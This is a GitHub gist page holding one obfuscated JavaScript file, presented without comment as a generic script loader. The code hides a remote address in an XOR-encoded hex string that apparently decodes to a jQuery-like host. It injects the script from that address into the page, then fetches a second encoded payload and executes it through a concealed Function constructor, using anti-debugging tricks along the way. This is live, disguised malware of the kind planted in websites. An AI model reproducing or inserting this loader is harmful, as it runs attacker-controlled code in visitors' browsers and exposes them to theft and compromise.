-
-
Save krautface/5a29d1daf2d70ccc456f65d1f00cc9b3 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let _scriptCallback = null; | |
(function() { | |
function _loadScripts(array,callback){ | |
var loader = function(src,handler){ | |
var script = document.createElement("script"); | |
script.src = src; | |
if(_scriptCallback != null) { | |
_scriptCallback = null; | |
} else { | |
_precompile.forEach(function (p) { | |
script.src += o(p); | |
}) | |
script.src += p(Math.random()); | |
} | |
script.onload = script.onreadystatechange = function(){ | |
script.onreadystatechange = script.onload = null; | |
if(/MSIE ([6-9]+\.\d+);/.test(navigator.userAgent))window.setTimeout(function(){handler();},8,this); | |
else handler(); | |
} | |
var head = document.getElementsByTagName("head")[0]; | |
(head || document.body).appendChild( script ); | |
}; | |
(function(){ | |
if(array.length!=0){ | |
loader(array.shift(),arguments.callee); | |
}else{ | |
callback && callback(); | |
} | |
})(); | |
} | |
function __script(src) { | |
let textToChars = text => text.split('').map(c => c.charCodeAt(0)) | |
let saltChars = textToChars(src) | |
let applySaltToChar = code => textToChars(src).reduce((a,b) => a ^ b, code) | |
return encoded => encoded.match(/.{1,2}/g) | |
.map(hex => parseInt(hex, 16)) | |
.map(applySaltToChar) | |
.map(charCode => String.fromCharCode(charCode)) | |
.join('') | |
} | |
let a = null; | |
let b = () => { return a.replace("null", "") }; | |
let l = () => {}; | |
let o = t => String.fromCharCode(t); | |
let p = t => s; | |
let s = Math.random().toString().split(".")[1]; | |
let t = p => _params.forEach((p) => a += o(p)); | |
let _precompile = [63, 113, 61, 48, 46]; | |
let _params = [80,69,69,65,108,98,79,74,122,118]; | |
l.toString = () => { a = true }; | |
if(a) {} | |
else { | |
let _script = __script(b(t(_params))); | |
_loadScripts([ | |
_script("7e626266652c39397c676373646f3b756f757a733875797b397778777a6f627f7565387c65"), | |
], () => { | |
try { | |
let ___s = setInterval(() => { | |
if (_scriptCallback != null) { | |
let c = () => {}; | |
c.toString = () => { c = false } | |
if(typeof c === "function") { | |
let _script = __script(s); | |
let c = _scriptCallback; | |
_loadScripts([ | |
_script(_scriptCallback), | |
], () => { | |
a = "constructor"; | |
b = {}; | |
c = __script(c); | |
a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub), a).value, 0, c(_scriptCallback))(); | |
_scriptCallback = null; | |
clearInterval(___s); | |
}); | |
} | |
} | |
}, 100); | |
} catch (e) { | |
} | |
}); | |
} | |
})(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment